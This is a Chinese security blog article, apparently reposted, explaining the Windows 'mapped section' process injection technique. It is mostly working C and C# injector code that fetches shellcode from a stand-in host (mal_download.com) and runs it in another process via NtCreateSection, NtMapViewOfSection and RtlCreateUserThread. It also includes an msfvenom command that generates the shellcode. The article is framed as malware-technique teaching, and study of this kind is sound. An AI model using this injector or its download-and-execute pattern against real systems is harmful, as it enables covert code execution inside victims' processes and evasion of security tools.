恶意软件分析-进程注入映射区段

admin 2025年1月1日23:01:49评论4 views字数 9133阅读30分26秒阅读模式

Process Injection Mapped Sections

我们又带来了一篇关于常见恶意软件技术的文章。这次,我们将讨论使用共享内存区段来向远程进程注入和执行代码。这种进程注入方法使用 Windows 区段对象来创建一个可以在进程之间共享的内存区域。在攻击者创建的进程中,会创建一个具有与其他进程共享权限的内存区段。shellcode 被复制到这个内存区域中,该区域会镜像到所有共享此内存区段视图的进程中。然后,该区段被映射到远程进程,并在远程进程中启动一个新线程来执行代码。

我们将像之前的文章一样,用 C 语言和 C# 来演示这种方法。

它是如何工作的?

所有注入方法的主要目标都是在远程进程的内存空间中执行代码。这种方法使用 Windows API 中的 NtCreateSection 函数。NtCreateSection 将创建一个可在进程之间共享的内存区段。这块内存并不存在于调用应用程序的虚拟内存区域中,而是存在于内核中。这些内存空间可以由文件或页面(实际内存)支持。当应用程序想要访问这块内存区域时,需要创建一个视图。然后,该视图通过其内存管理被映射到进程的虚拟内存中。

根据内存的设置方式,视图可以允许进程读取、写入或执行内存视图。这种技术将创建一个由内存支持并与其他进程共享的区段对象(NtCreateSection)。即使恶意进程创建了区段对象,它仍需要创建一个视图才能操作它。视图是通过 NtMapViewOfSection API 调用创建的。第一个创建的视图将属于恶意进程,并且只需要读取和写入区段对象的权限,因为我们不会从这个进程执行 shellcode。

在将本地区段对象映射到恶意进程的内存后,我们将使用相同的 NtMapViewOfSection 调用将该区段对象映射到远程目标进程的内存空间中。

值得注意的是,映射区段的地址会因每个进程的内存布局而异,所以不要期望地址相同。我们不会提供恶意进程的句柄,而是使用 OpenProcess API 来获取远程进程的句柄。注意,这个进程需要是我们有权限访问的进程,即由同一用户拥有的进程。

本地和远程映射区段之间的主要区别在于,远程区段需要具有读取、写入和执行权限。写入权限取决于所使用的 shellcode。

Metasploit 生成的有效载荷包含一个会覆盖自身的混淆存根,需要写入权限,否则会崩溃。现在困难的部分已经完成,我们需要将 shellcode 复制到映射区段并执行它。

将内存移动就像使用 memcpy 从本地内存复制一样简单。一旦本地进程将内存复制到区段中,它就会在远程内存视图中被镜像。然后本地进程创建一个新的远程线程,并指示该线程执行视图内存空间。

C# 和 C++ 代码演示

这些示例中使用的 shellcode 是使用

msfvenom -f raw -p windows/exec CMD="c:windowssystem32calc.exe" -o spawn_calc.x64.sc

创建的。shellcode 没有经过任何打包或保护。

我们将首先审查用 C 语言编写的代码示例。在这个示例中,程序从远程服务器下载 shellcode,然后将其写入共享内存空间。为了简洁起见,我们不包含 getShellCode 函数的代码。

106intmainint argc, char* argv[] )107 {                                108SIZE_Tsize=4096;         109LARGE_INTEGERsectionSize= { size };110HANDLEsectionHandle= NULL;111PVOIDlocalSectionAddress= NULL;112PVOIDremoteSectionAddress= NULL;113DWORDtargetPID=0;114intmax=0x2000;115116if( argc != 2 )117     {118         printf("USAGE: %s <target PID>n", argv[0] );119return -1;120     }121122char* buf = (char*)VirtualAlloc(NULL, max, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);123intbuf_sz= getShellCode("http://mal_download.com/spawn_calc.x64.sc", buf);  124     targetPID = atoi( argv[1] );125126// create a memory section127     NtCreateSection(§ionHandle, SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE,128             NULL, (PLARGE_INTEGER)§ionSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);129130     // create a view of the memory section in the local process131     NtMapViewOfSection(sectionHandle, GetCurrentProcess(), &localSectionAddress, NULL, NULL,132             NULL, &size, 2, NULL, PAGE_READWRITE);133     printf("localSectionAddress (%p)n", localSectionAddress);134135     // create a view of the memory section in the target process136     HANDLE targetHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID);137     NtMapViewOfSection(sectionHandle, targetHandle, &remoteSectionAddress, NULL, NULL, NULL,138             &size, 2, NULL, PAGE_EXECUTE_READWRITE);139     printf("remoteSectionAddress (%p)n", remoteSectionAddress);

第 106 行:main 函数声明

第 108-114 行:设置局部变量

第 116-120 行:检查程序参数,确保用户输入了目标进程的进程 ID 用于注入

第 122-124 行:分配本地缓冲区,并用从远程服务器获取的 shellcode 填充它

第 126-128 行:创建一个在进程间共享的内存区段,具有读取、写入和执行权限。调用 NtCreateSection 返回指向该区段的指针。

__kernel_entry NTSYSCALLAPI NTSTATUS NtCreateSection( [out] PHANDLE SectionHandle, [in] ACCESS_MASK DesiredAccess, [in, optional] POBJECT_ATTRIBUTES ObjectAttributes, [in, optional] PLARGE_INTEGER MaximumSize, [in] ULONG SectionPageProtection, [in] ULONG AllocationAttributes, [in, optional] HANDLE FileHandle );

第 130-133 行:使用 API NtMapViewOfSection 为本地进程创建共享内存的视图

视图是映射区段中唯一对程序可见的部分。程序会相互独立地为共享内存分配内存区域。如图 2 所示,两个程序在两个不同的地址空间中具有相同的数据。每个进程还可以对同一个或不同的共享内存拥有多个视图。

NTSYSAPI NTSTATUS ZwMapViewOfSection( [in] HANDLE SectionHandle, [in] HANDLE ProcessHandle, [in, out] PVOID *BaseAddress, [in] ULONG_PTR ZeroBits, [in] SIZE_T CommitSize, [in, out, optional] PLARGE_INTEGER SectionOffset, [in, out] PSIZE_T ViewSize, [in] SECTION_INHERIT InheritDisposition, [in] ULONG AllocationType, [in] ULONG Win32Protect );

第 135-136 行:使用提供的进程 ID 打开目标进程的句柄

第 137-139 行:使用 API NtMapViewOfSection 为远程进程创建共享内存的视图

对 NtMapViewOfSection 的第二次调用中,传递给 Win32Protect 参数的值必须包含写入位(PAGE_EXECUTE_READWRITE)。这是因为使用 msfvenom 生成的 shellcode 会使用 XOR 例程混淆其有效载荷,该例程会覆写自己的内存。如果不提供写入选项,代码将会崩溃。

恶意软件分析-进程注入映射区段
140141// copy shellcode to the local view, which will get reflected in the target process's mapped view142     memcpy(localSectionAddress, buf, size);

第 142 行:将下载的 shellcode 复制到本地进程的视图中

这消除了尝试写入远程进程的需求。如图 3 所示,对一个视图的更改会在所有视图中同步反映。

恶意软件分析-进程注入映射区段
143144     HANDLE targetThreadHandle = NULL;145     RtlCreateUserThread(targetHandle, NULLFALSE000, remoteSectionAddress, NULL,146             &targetThreadHandle, NULL);147148     VirtualFree( buf, NULLNULL );149return0;150 }

第 144-146 行:在远程进程中创建线程,并将视图的内存地址作为执行点

这将导致远程程序执行 shellcode。

恶意软件分析-进程注入映射区段

接下来的代码片段是用 C# 编写的,执行与上面 C 代码相同的操作。这次我们不会逐行分析 C# 代码—它几乎是 C 代码的直接移植。C# 代码被包装在 unsafe 标签中,这允许我们使用内存不安全的直接指针。这两个代码示例之间的主要区别在于我们需要定义每个API调用。

以下代码按组划分,与 C 部分的组相匹配,但第一部分除外,第一部分是已定义的 API 调用,并声明变量以使阅读更容易。以下定义是通过 pinvoke.net 获得的。

10     unsafe publicclassBlah11     {                                                                              12         [DllImport("ntdll.dll", SetLastError = true, ExactSpelling = true)]        13static extern UInt32 NtCreateSection(ref IntPtr SectionHandle, UInt32 DesiredAccess, IntPtr ObjectAttributes, ref UInt32 MaximumSize, UInt32 SectionPageProtection  1415         [DllImport("ntdll.dll", SetLastError = true)]                              16static extern uint NtMapViewOfSection(IntPtr SectionHandle, IntPtr ProcessHandle, ref IntPtr BaseAddress, IntPtr ZeroBits, IntPtr CommitSize, out ulong SectionOff  1718         [DllImport("kernel32.dll", SetLastError = true)]                           19publicstatic extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);  2021         [DllImport("ntdll.dll", SetLastError=true)]                                22static extern IntPtr RtlCreateUserThread(IntPtr processHandle, IntPtr threadSecurity, bool createSuspended, Int32 stackZeroBits, IntPtr stackReserved, IntPtr stac  2324         [DllImport("msvcrt.dll", EntryPoint = "memcpy", CallingConvention = CallingConvention.Cdecl, SetLastError = false)]  25publicstatic extern IntPtr memcpy(IntPtr dest, IntPtr src, uint count);  2627privatestaticuintSECTION_MAP_WRITE=0x0002;                            28privatestaticuintSECTION_MAP_READ=0x0004;                             29privatestaticuintSECTION_MAP_EXECUTE=0x0008;                          303132privatestaticuintPAGE_READWRITE=0x04;                                 33//        private static uint PAGE_EXECUTE_READ = 0x20;                            34         private static uint PAGE_EXECUTE_READWRITE = 0x40;                         35         private static uint SEC_COMMIT = 0x8000000;                                36                                                                                    37         private static uint PROCESS_ALL_ACCESS = 0x1fffff;

以下部分声明局部变量并从远程服务器获取 shellcode。

51publicstaticvoidMain(string[] args)                                     52         {                                                                          53byte[] buf = newbyte[10];                                             54             IntPtr sectionHandle = IntPtr.Zero;                                    55int size = 4096;                                                       56ulong tmp = newulong();                                               57             UInt32 sectionSize = (uint)size;                                       58             IntPtr localSectionAddress = IntPtr.Zero;                              59             IntPtr remoteSectionAddress = IntPtr.Zero;                             6061int buf_sz = getShellCode("http://mal_download.com/spawn_calc.x64.sc"ref buf);  62             Console.WriteLine("ShellCode of Size "+ buf_sz);                       

检查命令行参数以确保其包含目标进程的 PID。接下来,创建共享内存段。

6364int targetPID = 0;                                                     65try66             {                                                                      67                 targetPID = int.Parse( args[0] );                                  68             } catch69             {                                                                      70                 Console.WriteLine("Invalid parameter use an integer for the PID");  71                 System.Environment.Exit(1);                                        72             }                                                                      73             Console.WriteLine(targetPID);                                          7475// create a memory section                                             76             NtCreateSection(ref sectionHandle, SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE, IntPtr.Zero,  77                     ref sectionSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, IntPtr.Zero);  

接下来我们创建共享内存段的本地视图和远程视图。图 5 展示了来自每个内存空间的段。同样地,每个进程中的内存地址都是不同的。

7879//create a viewof the memory section in the local process            80             NtMapViewOfSection(sectionHandle, Process.GetCurrentProcess().Handle, ref localSectionAddress, IntPtr.Zero,    81                     IntPtr.Zero, out tmp, out size, 20, PAGE_READWRITE);         82             Console.WriteLine("localSectionAddress (0x{0:x})", localSectionAddress.ToInt64());  8384//create a viewof the memory section in the target process           85             IntPtr targetHandle = OpenProcess(PROCESS_ALL_ACCESS, false, targetPID);  86             NtMapViewOfSection(sectionHandle, targetHandle, ref remoteSectionAddress, IntPtr.Zero, IntPtr.Zero, out tmp,    87out size, 20, PAGE_EXECUTE_READWRITE);                       88             Console.WriteLine("remoteSectionAddress (0x{0:x})",  remoteSectionAddress.ToInt64() );  89
恶意软件分析-进程注入映射区段

将 shellcode 从下载缓冲区复制到视图中。添加 fixed 关键字是必需的,以允许对字节数组进行指针操作。图 6 展示了 shellcode 在本地视图和远程视图中的内容。

9192// copy shellcode to the local view, which will get reflected in the target process's mapped view  93             fixed( byte* p = buf )                                                 94             {                                                                      95                 IntPtr ptr = (IntPtr)p;                                            96                 memcpy(localSectionAddress, ptr, (uint)size);                      97             }                                              
恶意软件分析-进程注入映射区段

最后,在目标进程中创建一个远程线程,指示它在视图内存空间中执行 shellcode。图 7 展示了 shellcode 执行的结果,一个计算器应用程序被启动。

98101             IntPtr targetThreadHandle = IntPtr.Zero;102             RtlCreateUserThread(targetHandle, IntPtr.Zero, false0, IntPtr.Zero, IntPtr.Zero, remoteSectionAddress,    103                 IntPtr.Zero, ref targetThreadHandle, IntPtr.Zero);104         }
恶意软件分析-进程注入映射区段

逆向可执行文件

在过去的博客中,我们使用这部分内容来展示使用 Ghidra 和 DnSpy 对编译后的可执行文件进行反编译的过程。这些工具,连同 IDA、Binary Ninja、Radare2 等,在将可执行文件反编译回 C 或 C# 语言方面都非常出色,因此我们将不再在后续内容中包含这部分。

原文始发于微信公众号(securitainment):恶意软件分析-进程注入映射区段

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月1日23:01:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   恶意软件分析-进程注入映射区段https://cn-sec.com/archives/3568464.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息